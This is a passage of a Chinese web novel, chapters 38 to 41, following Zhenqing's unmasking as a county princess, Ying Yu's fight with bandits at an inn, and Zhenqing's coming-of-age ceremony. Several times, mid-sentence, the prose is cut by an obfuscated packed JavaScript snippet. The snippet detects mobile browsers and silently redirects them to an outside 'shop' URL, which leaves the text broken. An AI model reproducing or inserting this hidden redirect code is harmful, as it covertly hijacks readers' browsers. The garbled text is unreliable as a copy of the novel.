见人一个两个三个的站起来反驳他的话,原本好好授课的博士面色逐渐变得难看,甚至在一众学生如有实质的视线中,更感觉到难堪。 他放下手中的书籍,道:“这是自古以来就盛行的观念。男子被认为是家中的主要经济支柱,女子则被视为男性的附属品,所以女子不需要接受正式的书业,女子应当在家中学习家务和女红!” 枕清闻言,嗤笑一声,“自古以来的观念,既然是观念,自然也有对错之分,天下并非人无完人,你敢说这观念就是正确的?男子能行的,女子也并非弱于男子!女子能做家务女红,为何男子不可以做,岂不是你觉得男子弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他当真看不下去了,江诉却依旧挡住他,高抬下颚,一改往日温和。 江诉眉眼下垂,颇有居高临下的威胁之势,叫人心生不安。 “县主说的不对吗?”他稍稍偏头,低垂的眼尾,仿若他敢说一个不字,就能让自己陷入危险境地。 那令人望而生畏的眼神,他竟也没注意到江诉所说的县主二字。 学堂里的博士冷汗直冒,他强装镇定道:“想学但是条件不允许,别忘了母亲是孩子最好的老师。你说话也深受你母亲所传。” 枕清忽地陷入茫然,后道:“我没有阿娘。” 博士道:“那你阿耶呢?” 她有阿耶吗?枕清看着所有人的目光望向自己,好像在窥探她的一举一动,一字一句,以至于,她深陷其中。 博士见人不说话,当即以为胜券在握,即将要堵上了枕清的话。 枕清启唇道:“我也......”没有阿耶。 “县主!”江诉打断她后来的话,走上前去。众人纷纷让出一条路来。 39. 月皎惊鸟晓无迹(六) 听到江诉喊了一声“县主”,满堂皆是一惊,这居然是县主,禹王的孩子。 那么一直以来,和他们相处的人不仅是县主,还是女子。 郁华隐猛地望向枕清,突然间,让自己如鲠在喉。 好像明白了枕清为何频频望向自己,也明白枕清种种眸光的深意,以及那些不为人知的秘密。 一直安分守己,战战兢兢的郁华隐心忽地平静了下来,也不再惧怕会泻败的秘密。 在这个世界上,那个秘密只有枕清知道。 身份已经败露,枕清只好无奈地耸耸肩,略有歉意地看向包启元,至于陈谷,对她的身份早有猜测。 这堂课必然是上不下去,博士碍于枕清的县主身份,只好怒目而视,拂袖离去,而包启元猛然朝外边跑去,想死的心都有了! 着世界上还有比在本人面前讨论本人的事情更尴尬吗? 陈谷见包启元跑走,话语中满是庆幸:“大名鼎鼎的县主居然就在我们身边,好在我没有说过县主的任何坏话,不然,我也要像包子一样跑远了。” 枕清压根不信他没有一点察觉。 现如今身份暴露,是一个好时机。 她今日出头,本就是不想再隐藏身份,即使今日藏住了,这些话也会被人深究不放。 “既然你知道我是县主了,那么知道义宁吧。”枕清直截了当道。 她已经预料到许多事情,这其中也有包括义宁的。 陈谷说自己从小就知道和哥哥义宁受到诅咒,原本族中不信,可天公不作美,之后发生了太多诡异的事情,可以说是巧合,但这巧合也太多了,于是有人便开始打起了他们两人的主意。 至于为什么留了自己,而放离了义宁。 因为小时候,无论是医术还是天赋,他都比义宁更甚一筹,长辈们需要更厉害的继承者,于是舍弃了义宁。 没错,是舍弃。 陈谷和义宁的关系极好,知道了这样的原因,陈谷居然开始憎恶自己所谓的天赋,于是荒废了自己的学业,他不再去碰医术,而是一股脑地进了太学,浑浑噩噩到了现在。 枕清说不。 这一切都在陈谷的操控中。 虽然迹象从现在开始出现,但是布局一定在几年甚至是更早之前。 枕清分析刨解:“其实在事情发酵前,你便已经知道义宁会被送走,所以同家中长辈说,既然需要其中一个人远离家族,那么跟着禹王走吧。一来有个保障,二来以备不时之需。” 陈谷眉梢微动,闻言笑了笑,却没有阻止枕清继续说下去。 第二个以备不时之需,当然是枕清胡诌的,谁能猜到禹王是否真的能东山再起,又是否真的能回到长安,一切都只是有可能的预测。 可她枕清虽是不知道,但是陈谷清楚,借着家族中的声望与医术,同太后或是圣上亲近,吹一吹耳旁风,很多事情便是勾勾手指就成了的事情。 而义宁跟在禹王身侧,安心专研,医术在同龄人中,已达到了无人企及的地步。 枕清继而又道:“但你知道,将来的有一天,义宁一定会回到长安城内,届时你们兄弟二人依旧可以碰面。” 陈谷听完,面不改色地笑说:“编得不错。” “编?”枕清歪了下脑袋,“你为何一定要在太学中表现得意志消沉、混混沌沌,是因为你想让家中长辈觉得你是扶不起的阿斗,从而放弃你,那么家中长辈便不得不去找义宁。” 见陈谷不说话,枕清乘胜追击:“至于你要去长安郊外诊治疫病的动机,当然没有包子想的那么简单,可以让你的父亲,甚至是祖父来城郊外解决这场疫病。还有长安城内的那一晚,是你是故意出声的提醒那两人,你害怕我和包启元阻止你的这场行动。” 明明他们三人在暗,那两人在明,明明他们有机会在那晚抓住那两人,可陈谷无端出了声。 枕清无奈道:“你太想要义宁有显赫的名声,太想要他能堂堂正正地回到这个家里,所以你拼命算计布局,只为了让义宁那点名声变得顺利起来。” 陈谷却突然笑了,他的目光平静,没有半点被看穿的害怕,极为自然地反问道:“我为何要这么做,又有什么缘由让我这么做?再说,我又怎么能算到义宁会出城来?” 枕清知道陈谷嘴硬,但没想到这么硬,她眉梢轻轻扬起,犹如势在必得。 “当然是你早在之前就知晓我县主的身份,你利用的我的字迹,利用我的名义,给义宁送了一封信。或者说我在长安郊外,感染了疫病,生命危急。” “就算如此,那么义宁又怎能在这么短的时间内研制出解药?” “他不能,这不是有你吗?” 枕清笑笑,她当然不会觉得陈谷真的一窍不通,而陈谷远远没有所见的那么单纯。 最后,枕清的声音很平静、很慢,却足以震撼他的心,“你之所以会这么做,是因为你觉得亏欠。” 这下,陈谷当真是没有话说了,因为他的心思都已经被枕清摸透了。明明认识没几个月。 他无奈笑笑。 枕清悠悠解释:“其实破绽不是你,是包子。我太了解他了,如果疫病解决了,包子一定会兴奋地告诉我是如何解决,可是他一句话都没有说。” 说明这场疫病解决和陈谷和包启元没关系。又或者是有,但是包启元替陈谷瞒着。 陈谷只是静静地望着她,最后轻轻道:“你真厉害。” 自从县主的身份暴露后,枕清也不去太学了。 这件事情也告一段落,可是在长安城内,枕清又掀起来了一阵风声,不少女郎开始夸赞枕清,当然也有人对她嗤之以鼻,觉得违反了太学规定。 这件事自然也传到太后殿下的耳中,太后殿下竟然沉默了,也没有找禹王和枕清的茬。 外边的热闹,枕清置若罔闻。她现在已经到了两耳不闻窗外事的地步,自然也没有多大在意。 秋霖脉脉,草木萧疏。 天渐渐阴沉昏暗,雨滴溅着院外竹梢,更显凄清。 屋内几只烛火影影绰绰,枕清单坐于案前,小厮披着蓑衣,将干干净净的信递到枕清身前。 是商震的来信。 商震在已经离开了雷州,虽说太后殿下法外开恩,免了商震的罪责,让其向西北上,去了距离长安城十万八千里远的定州,但也总比雷州好上许多。 如今天下悍匪极多,群盗人攻烧巩西阙口以东,恰是此时商震所在的位置。 这几日听闻太后殿下的心情极好,不知道是否与此事有关,但意外的是,云流大将军开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665331|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始担忧起来,分了好几拨下手的人前去支援,又在旁人的建议下,给了巩西阙旁边的郡县一封信。 让人将商震解救出来,务必要保其平安。 信封快马加鞭地送去,枕清也是在禹王口中得知此事情。 她记得应钰离开长安城也有三月,彼时若是不出意外,也已经到了阙口。 于是提笔书写了一份信,跟随着云大将军快马加鞭的信一同送了出去。 枕清知道青黛在应钰的建议下,在长安开了一间镖局,不仅给退下来的捕头侍卫安排了一份能养家糊口的工作,也让应钰的货物更加省心安全。 青黛开得了镖局,并非是她有多大本事,而是应钰一直帮衬着她。镖局的领头人讲的是人面广、关系好,更重要的是有钱有势,叫人不敢去招惹,即使招惹除了事,也摆得平官府,即使被抢,也赔得起银两。 虽然应钰没有好的出身,可应钰的舅舅商震是禹王好友,也是枕清的师傅,背靠禹王这棵大树,应钰自身又有独立手段,和黑市掌头人陈琅打上交道,可谓真是黑白两道通吃。 所有都觉得青黛有极其身后的关系,其实一切都是应钰在后面疏通打理,她偶尔招揽下退休的名捕,看下走镖的货量,很多时候都是应钰在一旁提点教她,其他的也可以叫旁人安排。 她们二人早已经没有初见时,在禹王府那般剑拔弩张,她们两人都成了能撑起一片天地的小大人。 应钰接到枕清的信件时,还坐在客栈的位置注意阙口现如今的情况。 这批货物是要送到定州城内,可是去往定州势必要经过阙口,现在那些悍匪跟着南蛮一起胡作非为,搜刮民脂民膏,若是被悍匪看见,定然留不下任何一点。 现在的她也只能按兵不动,静静看着阙口的风向如何。 倘若阙口的风向不好,那么她势必要选择绕远路前行,可彼时的阙口已经被悍匪包围,既出不去,也进不来,像是被围困在里边,叫人抓心挠肝。 这次押送货物的单子极大,利润也极为丰厚,倘若是丢了,不仅坏了他们的名声,日后生意也不好做。 青黛望向应钰时,应钰为了遮掩耳目,头上戴着帷帽,一改往日男子装扮的劲装,而是穿着一身石榴裙,垂下金丝暗绣的裙摆随着动作贴合,露出纤细腰肢。 她手中捧着一杯凉茶,伸出的食指轻轻敲打在杯沿,好似在等待,又像是在思考。 须臾间,青黛在应钰身上好像看到了枕清的身影。 如果枕清在这里,也定然如同应钰这般气定神闲。 不知为何,总觉得她们二人的感觉真是越来越相像了。 青黛是无比相信枕清的,所以看到如此模样的应钰,心也跟着安定下来。 应钰是活过两世的人,自然能沉得住气,到了这般年纪,几乎没有什么事情是她没有经历过的。 经历的事情多了,自然也慢慢看淡了。 这单生意没做成,那么还有下一单,甚至是之后的千千万万单。生意也讲究气运,这次不好,并不代表着之后都是如此,她想得开,自然也看得开,因此没有什么可担忧的。 再说之前的两间药肆,枕清叫她着手去办时,虽然没有提高价格,却也让应钰狠狠赚了好一些钱,毕竟也有另一种讲究,叫薄利多销。 40. 月皎惊鸟晓无迹(七) 天色慢慢昏暗,孤黑的上空挂上了一轮清月。 彼时客栈外边来了三人,高声告诉客栈掌柜要三间上好的客房。 掌柜颇有歉意地指了指外边的牌匾,赔笑道:“真是不好意思了三位郎君,我们客栈都已经被这位小娘子给包下来了,请您到别的地方去了。” 现在时间甚晚,镇上已经没有几家客栈还开着门,而这间客栈牌面极大,客房甚多,除非是大批量的人马,不然不可能会住不下。三位郎君抬眼瞧了瞧,留意到客房中有许多房间并未点火,说明房间是空着的,这个人包下了整间客栈,那么不至于分不出一两间的屋子。 再说,他们赶了几天的路,极为疲惫,也没有再去找的力气。 只好随着掌柜视线望向应钰,希望能通情达理地通融一番。 三位郎君看到掌柜所说的人是一位极其安静漂亮的女郎,眼角眉梢都跟着跳动了一下,心中猜测是哪位大户人家来得贵客。 其中一位郎君率先开口,拱手道:“我们兄弟三人一路舟车劳顿,实在是走不动了,我看着客房尚有空余,小娘子可否行行好,通融一晚上?银子我们照例会付,绝不白住!” 他的嗓音带着小心翼翼,又有些许试探中,唯独拱起的那双手轻轻晃荡,窥探到一丝疲惫。 青黛戒备地打量着三人,从上至下。 面容虽有显露疲惫,可仍旧有防备的姿态,身上带着不大不小的包袱,穿着看不出富贵却也不贫苦,鞋面染有污泥,的确是赶路模样。 这三人长相年轻,皆是富有书生气息的玉面小郎君,并未有攻击性,倘若是住上一晚,并没有多大问题。 青黛并不开口作出决策,而是缓缓看向不动声色的应钰。 应钰闻言,并未掀开帷帽,让旁人看不出自己真正的模样,她也没有要去探究他们的样子。 万籁俱静,所有的人都在默默注视着那位神秘的女子,她的任何动作和姿态都被无限放大,就连拂过她衣摆的风都被注意了来处。 所有人都不知道这位女郎是如何想的,只能等待着她下一步的动作,没有人再出声催促打扰,可每个人焦灼的目光成了无数锋利的言语。 待那三位郎君即将放弃要找下家时,那位女郎动了动身子。 “阿青,安排他们三人住最西边的厢房。”应钰放下手中的杯盏,站起身走上东面的厢房。 那道声音虽是温和,但是夹杂着清冷,那清冷像是冬日中细细敲击的小雨,虽然不猛烈,却也让人听得清楚明白。 被唤“阿青”的青黛指了指另一处的位置,反倒是掌柜的笑着开口道:“我带三位郎君前去。” 为首的盛松言道谢后看了应钰一眼,随着掌柜前去。 西边跟客栈两极,越往里走越安静。 掌柜和气道:“那位应小娘子是极好的人,她安排你们住在西边,并非是把你们安排在角落处,而是这个地方清净,好修养。” 盛松言问道:“那位应小娘子在这住了几日了?” “两日了。”掌柜为他们三人打开房门道,“你们也知道,如今的阙口不太平,多少人虎视眈眈着,这是进也不敢进,出也不敢出,所以小娘子也是在等时机。” 至于是什么时机,掌柜就算知道,也不多说,他开客栈多年,很多事情一看便知,很多话一问便晓得其中有没有。 盛松言是个聪明人,一听便知道这掌柜是在提醒他们明早应该走了,这位小娘子可能会带来麻烦,而他们在这里久待也让那位小娘子不放心,其实两方人都不乐意彼此多停留。 盛松言真诚地道了谢,关上房门同其他两人道:“我们的动作需要快一些。” 翁恒问道:“那个姓应的小娘子,你们觉得如何?” “长得好看,声音也好听,心地也善良!”万思道,“微之,你觉得呢?” 盛松言睨了他一眼,准备好自己的东西,淡淡道:“她有东西留在客栈内,还有镖局里的人守着,别看她年纪虽轻,但她是这群人里面的掌舵人,实力不可小觑。” “那她居然还敢留我们?”万思这下更觉得应钰更好了。 翁恒垂眸,点燃蜡烛燃起火光在脸上,不屑地嗤笑道:“你没听到被唤阿青的那名女子,她可是个练家伙,那群人里,没有一个是手无缚鸡之力的人,想要抢她的东西,也要看自己有没有能耐了。” 倘若真的那么担忧害怕,早就回绝他们了。 盛松言道:“旁人的事就别管了,无论是死是活,都与我们无关。” 夜阑更深,应钰拿到枕清的来信,提醒她商震会路过此地。她在早前就已经知道,也特意留在这里几天,放声出去的事,一点着落都没有。 到了第三日,应钰依旧没等到商震,却等到了一小波的悍匪。 那帮人并未受过正式的训练,都是野蛮彪悍模样的劲头,来了客栈也是无所顾及乱作一团地搜集。 还未被查到东西前,青黛一群人便跟横冲直撞的悍匪打作一团,听到动静下来的盛松沿三人不免愣怔,看到如此情形,翁恒和应思也动了拳打脚踢的心思,当即帮衬着应钰她们。 至于盛松言,他本就是一介书生,根本不会任何武力,只能看着别人拳拳狠戾的动作。 有几人察觉到对方是个练家子,一时半会也赢不了,于是把主意打到了应钰和盛松言身上。 应钰还戴着帷帽,垂挂下来的轻纱遮挡住她的面容。 因为帷帽的遮掩下,应钰只能看到朦胧的一层,仿若飘渺的云雾间内,虽不清晰,但也足够她对付这些人。 有人猛地朝她过来,她也不着慌,先利落地转身闪躲,那人的刀刃劈上桌子,断成两截。出手劈砍的那人才知晓应钰不上不是因为她不会武功,而是她不想动手。 这个小娘子打不过,于是非常有眼见地朝盛松言砍去,前两次盛松言堪堪躲过,第三次的盛松言看着那柄快刀袭来,觉得自己必死无疑。 另一侧的万思和翁恒忽然瞪大双眸,想要朝盛松言跑过来,可距离甚远,也为时已晚。 在下一瞬间,盛松言没有感受到那把大刀落下来,而是被一股强劲的力量拉到一旁,躲过致命的危机。 盛松言抬眼看到身旁的应钰,裙摆掀起一阵清风,而她的动作快速又利落,头上的帷帽随着动作飘动,露出一张精致美艳的小脸,绝色得让人震惊,沉浸在这样的情境下,如同被禁了言,一句话也说不出来。 应钰的动作凶残干脆,帷帽落下来的那一瞬间,手中的匕首也跟着一同直接刺进那人的喉咙中,衣摆染上了鲜艳的血红色,好似一朵盛开的彼岸花。 如此凶残的画面落进了盛松言的眼中,可他并不觉得可怕,反倒是有足够的安全感。 他似乎也明白这么娇小的身躯如何能当得了掌舵人。 外柔内刚。 应钰并不喜欢杀人,更不喜欢见血。但谁让她的亲舅舅是赫赫有名的大将军,虽然赫赫有名前面要加个从前。 她向来不愿意动手,但是身上的功夫一点也没落下。 打了半晌,能砍的东西都被砍了,能倒的东西都似被风吹着了,此地一片狼藉。 悍匪落了下风,死的死,伤的伤。 最后还有一个悍匪想要溜走报信,只需应钰轻轻一抬手,下一刻,青黛手中的箭矢飞了出去,刺穿那人的胸膛,直挺挺地倒在地上。 明眼人都能看明白应钰和青黛的配合极好,这并非一朝一夕内就能完成的。 “我去清点账目。”应钰让人收拾了此地狼藉一片,在盛松言过来要和她道谢时,应钰并没有趁此机会狮子大开口,也没有谦虚摆手说点场面话,而是直接又冷淡道:“你们今日可以走了。” 留下这句话,她头也不回地走向库房。 到今日,应钰都不清楚那几人的模样,她会救别人也只是举手之劳,但她不想与人有过多的牵扯,更不希望旁人因此来套近乎,当然她也不需要旁人的东西。 很多事情止乎于礼就好。 古有滴水之恩当涌泉相报,性命则是更是大事,盛松言觉得这件事,更应该让他好好报答,感谢应钰的救命之恩。 可是应钰并不像他们几人多停留,于是写了一份信和一件东西,让掌柜替他交给应小娘子。 掌柜却笑笑:“郎君拿回去吧,那小娘子不会要的,她从长安来,是显赫的富贵人家。” 盛松言突然笑了,笑容有些羞惭,他只是想报答救命之恩,却被掌柜认为他思想歪风邪气,想攀权附贵。 他只好讪讪地收了收自己的东西。 这般样子,反倒是被其他两位好友狠狠调侃了一番。 昨日还说着旁人是死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665332|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是活不关自己的事情,今日就被应小娘子救下来了。 盛松言没有说话,而是默默地回头看了一眼,原来是长安城里的小娘子。 姓应。 这几个字像是扎根在心里。 当地盗匪横行,形势也越发的严峻,阙口以东的大片地区,与南方诸蛮勾结,极度影响百姓安危。 得到云大将军的命令,本在云流将军帐下的威武将军开始向当地的盗匪讨伐。 盛松言此次来这里,就是去替父亲见一见叔叔,也就是威武将军。 他还没见到威武将军的面,就已经先被困在阙口。 而武威将军的讨伐也才刚刚开始,悍匪士气并没有大增,原本先在阙口下手,再缓缓向西取代定州,可结果被堵在了阙口。 盛松言也知晓悍匪对于威武将军的到来,显得万分焦灼,两方在这一个月内,势必僵持不下。于是盛松言找上悍匪,说自己师从黄石子,熟读兵法,甚至告诉悍匪几个自救解困之法,又如何快速训练兵力士气。 这么短短两日,盛松言所说的已然有所成效,不免让悍匪头子惊喜又高兴。 听从盛松言的话,原本对抗威武将军的时间从几天,拉长了十几天的拉锯线。虽然现在还在拖拖拉拉中,但是悍匪觉得这是一件非常好的开端,更加信任盛松言。 直到有一个曾在客栈跑出来的悍匪看到盛松言,满是慌张和震惊,高声告诉头子说他不是好人,之前和他在一起的人杀过兄弟们。 或许在早前,盛松言会被悍匪所怀疑,可是盛松言接连十多日带着他们赢,自然而然没那么相信那位小弟的话。 “现在我们兵马人力不足,粮草也早已捉襟见肘,彼时对抗威武将军,没有什么战胜之威,所以只能智取。平素里他们对我没有敬畏之心也就罢了,可现如今我们也只是表面强势,若是旁人知道我们的虚实,便会有所轻视。”盛松言乌黑的眼眸沉沉望向悍匪头子,“我是您身边的人,他们如此对我,那么对您又有几许可敬?我对您的忠心天地可鉴,若是被人挑拨,那真是得不尝失。” 盛松言的声音有惋惜和哀叹,他垂眸看着抖如筛粒的那人,火上浇油道:“若是不能狠狠诛杀惩治这人,恐怕还未出去,便让我们先自乱了阵脚。” 最后,悍匪头子真是怕了,于是叫人把小悍匪诛杀了。 惨烈的声音在空中掠过,又一点点窜进盛松言心中,让他遍体生寒。 他就是文人墨客,搞不来这些凶狠且血腥的东西,他只会纸上谈兵,真让他做这些事情,他并不是不会,而是心中不忍。 倘若不是那人死,那么日后死的人便是他自己。 依旧待在客栈里的应钰原以为悍匪会来找茬,在这些日子做好了随时撤离的准备,可是他们一直都不曾来。 悍匪和威武将军的风声却是越来越大。 上回来客栈的悍匪们并非受过专业训练,两方打作一团,甚至还没有青黛镖局里的人训练有素,可是不知道为何,抵挡威武将军的悍匪摇身一变,各个成了凶悍的士兵,其背后有没有高人教导,犹未可知。 这场变化,应钰是看在眼里的。 这些日子是少有的平静,悍匪跟着威武将军打得如火如荼,应钰也得到了少有的安逸。 悍匪落马是在月末,据说悍匪逃在了一个山谷的谷底,四周布满了威武将军的人马,来了一场瓮中捉鳖。 应钰疑惑:“他们怎会走这样的路?” 自从青黛开了镖局,天冬和京墨便一直跟在应钰和青黛身边。 京墨说:“据说是一个军师带着他们走上这条路的,而那军师正好是威武将军的人,于是两人里应外合,将悍匪一网打尽。” 在十月的最后一天,阙口最后终于平定了匪乱,威武将军也收编了他的众部。 一切都归为平静,唯独盛松言这个名字,横空出世。据说是剿灭悍匪的有功之人,他的名声也因此打响。 在众人都讨论的那刻,只有应钰长久地沉默着,随后让青黛将东西送往定州。 她在阙口耽搁实在太久,她要回长安,参加枕清的及笄礼。 应钰并不知道,在她走后,盛松言再次来了客栈,发现人去楼空后,追上了去定州的青黛,又在青黛口中得知了应钰回长安去了。 长安,真是一个遥远的地方。 41. 月皎惊鸟晓无迹(八) 梧桐雨细。渐滴作秋声,被风惊碎。——疏帘淡月·寓桂枝香秋思[1] 天气逐渐转寒,已然到了深秋。 院子内的几株海棠静静地开放着,在昨日一场雨后,纷纷打落。落花并未所见的残破凄凌,许是雨势来得急,花依旧美而艳丽,如同秋日的晚霞,点缀其间。 宁千渝正捧着一堆海棠花摆作一团。枕清所居住的院子极少有人走动,从前来得多的人是应钰,现如今换成宁千渝了。 这些日子阙口可比长安热闹得多,在长安内的大街小巷,不少人也讨论起了阙口,也聊起到了那位横空出世的少年郎。 枕清并不在意,她反倒更关心应钰,因为应钰也在阙口。 王府今日多了一位贵客。 郁华隐。 枕清在阁楼内放好了一壶葡萄酒,郁华隐并没有表现出任何动静,而是静静地看着枕清的动作。 此间阁楼坐落在禹王府的最高层,四面空旷通风,落下的素色帷帐随风浮动,好似一道道朦胧的影子。 郁华隐目光落在月牙凳上,凳面铺着一层编织坐垫,凳腿精雕的花纹,两厢交联处坠以彩穗装饰,无一不显示细致华丽。 可见禹王府财力雄厚。 待郁华隐落座后,枕清同她对坐,宁千渝坐于在中间靠后的位置,安安静静地垂首点香沏茶。 跟着枕清在太学待了几月,宁千渝自然也认得郁郎君。 郁华隐一改往日的学生装,穿着一袭宽大青衫,衣袖随身轻摆,温和有礼,一头青丝被高束于顶,以玉冠固定。 面容是男子中少有的精致俊美,鼻梁挺直,唇色如樱,眉宇间透着一股英气,双眸清澈明亮,若是朝人微微一笑,那便更是风流倜傥,小娘子定会丢了魂去。 从前就听闻有个小女郎对郁郎君极其喜欢,软磨硬泡追了郁郎君大半年,郁郎君硬是没有答应。 “郁小娘。” 宁千渝的手微微一顿,抬起的小脸愣怔地望向郁华隐。 郁华隐的五官流畅又凌厉,锋利的眉眼上挑后,压下几许厉色,更显十足英气。 是女相。 但并不会将郁华隐往女子身上想。 她们二人都未曾理会宁千渝的错乱的思绪,即使注意到她心不在焉地动作,也十分契合地不开口提这事。 枕清别有深意地瞧了郁华隐一眼,即使在宁千渝面前暴露身份,依旧能沉得住。 她笑着改口道:“是我喊错了,应该叫郁郎君才对。” 是了。 郁华隐身上最大的秘密,那便是她不是男儿身,而是女娇娘。 枕清先是在宁千渝面前暴露她的身份,又忽地改口挑逗她,郁华隐眉眼微微一动,露出从未有过的神色,心中仅剩下的一点平静又被提了起来,像是沉静千年的湖水,荡漾起了波澜。 可在郁华隐心中,并非是那么一点波澜。 她看得出枕清有试探和逗她的意味,而她像是一只被牵引着的猫,她也沉沦在枕清的恶趣味中,原本不安的内心也随之变得平静,甚至安静到能听到自己心跳的声音。 或许那天站起身为女子正身,也是枕清对她的试探。可是她不想出头,更不想在人群中展露风头,她害怕别人的目光落在自己身上,更害怕多年来的伪装毁于一旦。 于是她沉默着,看着枕清一人默默对抗。而她在角落中生存,窥探那么一点照在她身上的光。 那么枕清是不是在怪她。 郁华隐望着虚无缥缈的青烟升起,弯曲变化,她深吸一口气,当即站起身来,拱手示歉:“那日我未能站起来同县主沆瀣一气,多有抱歉。” 枕清像是为她开脱般道:“我理解,若是你与我一样,只怕是更快的暴露身份。” 郁华隐闻言一愣,她抬眼看向枕清。 是她以小人之心度君子之腹了。 在太学这些日子,枕清都是素面朝天,以男子服饰见人,她第一次看到枕清以女子样貌见人。 现如今已是深秋,她身上披着厚厚的棉袄,面容画着桃花妆,她微微伸手的动作下,轻而易举勾勒出纤细苗条的腰身,整个人都是富贵气息的慵懒,一点也看不出平日和包启元、陈谷的纨绔子弟气息。 平淡又沉稳。 这一刻,郁华隐深深明白,枕清是个很会隐藏的人,装什么便像什么。 阁楼的风吹过,压弯了秋日的海棠花枝,枯木在卷风中站立跳动。 枕清倒好了一杯酒,她抬手敬道:“郁郎君,我祝你仕途平坦,扶摇直上。” “你......”郁华隐诧异地望向枕清。 枕清笑笑:“我怎么了?” 郁华隐道:“你明知道我的身份。” 明知道她是女子,不能科考。 现如今在太学里,已经算是大逆不道的行径了。 枕清却比她更狂:“谁说男子行的,女子便不行了?你若是想,或许有朝一日,你还能坐上中丞、侍郎,甚至是尚书、丞相的位置!” 她缓缓勾起唇瓣,语气虽是缓缓上扬,可那声音里,并没有嘲笑和讥讽的意味,甚至能听出对于官位的狂妄和自大。 若是旁人听见,不知道该说枕清太年轻,狂妄自大,还是觉得她所说的异想天开。 有些人一生在官场中漂浮,也只混得□□品的芝麻小官。可又知道枕清的父亲是禹王,是除了圣上,最尊贵最有能力的人,或许在她眼中,那也确实入不了眼。 但是她们都知道,并不是枕清入不了眼,而是她真的觉得,这事并不是不行。 很多时候,时运来了,也就上了。 “况且,这些不早就是你的囊中之物了吗?” 郁华隐是个沉默的性子,在枕清这句话中,猛然失了神色,手掌隐隐发颤,克制地抵在桌沿,桌面上的香炉被颤地飘忽。 两人神色晦暗不明,都在彼此目光中逐渐卸下防备,枕清在最后欲言又止:“注意那个人......” 郁华隐自是知晓枕清意指何事,沉默中颔首:“我明白的。” 至于宁千渝,枕清打算将她遣散出了府门,起先宁千渝还以为自己做错了什么,枕清却告诉她:“我希望能看到更厉害的你,这几月相处,我虽教会你的不多,但是你在我身旁也了解不少。” 宁千渝并不愿意,而是抱着枕清,说想要跟在枕清身边一辈子。 可是没有人会真正地围在一个人身边一辈子,枕清也不希望看到这样的场面,她好像又回到了当初见面的时候,怜惜地抚摸着宁千渝的脑袋,安抚般拍拍。 “我在你面前暴露了郁华隐的身份,这是我送你的底气。”枕清道,“她在日后定能直上青云,而你知晓她的身份,这是你手中最大的底牌。” 原来枕清不是不小心说出郁华隐的秘密,而是有意去告诉她,也让郁华隐知道宁千渝也知道了秘密。 这是枕清送她最大的自保底牌,也让她有了无惧的底气。 可是枕清并不知道,对于极度缺爱的宁千渝而言,并不是握住旁人多大的秘密让人受制于她成就了她的底气,而是因为有了爱,所以有了一往无前的动力。 宁千渝还没有出府,因为枕清也没有走。 其实在很早之前,宁千渝便已经知道枕清会离开,但不知道枕清会在何时离开,可是她察觉到时间越来愈近了。 于是心里的慌张和不安,开始被一点点放大。 禹王府中来往的宾客越来越多,枕清出门的时间越来越少,好像在计划着什么。 而她什么都不知道,只能看着那些东西,一点点从手中流逝。 临近初冬,枕清的及笄礼也快要来了。 早在半个月前,禹王就已经开始命人张罗,府中张灯结彩,是从未有过的热闹。 还没正式开始实行及笄礼,枕清就已经收到了许多东西,有为了讨好她想要笼络禹王的,也有不少盯着她身份,想要套近乎的。 可惜这些人的算盘通通打错了。 高筑基,朱漆门,葡萄酒、鎏金盘、三彩壶、金足樽,古琴涔涔,楼榭歌台。[2] 及笄礼这天,王府的宾客络绎不绝,日子热闹而盛大,枕清在这天看到了许多人。 为了她,放下手中生意赶回来的应钰和许久未见的义宁。 义宁的模样变了很多,少年好像抽了条一样,摇身一变,成了一个大人。 她在王府内也听过义宁的事情,陈家已经将义宁认了回去,陈老爷子似乎想让义宁接手族中事务,以及太医署里的事。义宁的身形清瘦,比起王府真的样子更为憔悴,想来是陈老爷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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幸好去了,知道枕清不在,那么性命无虞。可惜去了,此后他再也不能时常见到枕清。 纵有千百人说少年人的心思狂热,可也会有人觉得少女的心思难懂难猜。 这场属于她的及笄礼,枕清见到了许多人。 有禹王和易为之,有江诉、云行野,有应钰和花明,还有不熟悉的谢长均、罗长观,甚至还有云流。 几乎大半个朝堂上的重要人物都来了,面子和气派都给足了枕清。 可所有人都不知道,这是一场她下注的赌局。 是必输的局,也是必赢的局。 枕清转向东正坐,有司奉上罗帕和发笄,禹王吟颂祝辞曰:“令月吉日,始加元服。弃尔幼志,顺尔成德。寿考惟祺,介尔景福。”[3] 一切都是井然有序的进行中。 直到禹王给她束发簪,所有人都在看着这一幕,枕清抬起眸子问:“我曾问过阿耶是否会一直信我的,这句话,现在依然作数,对吗?” 禹王面容和善,笑道:“这是自然。” 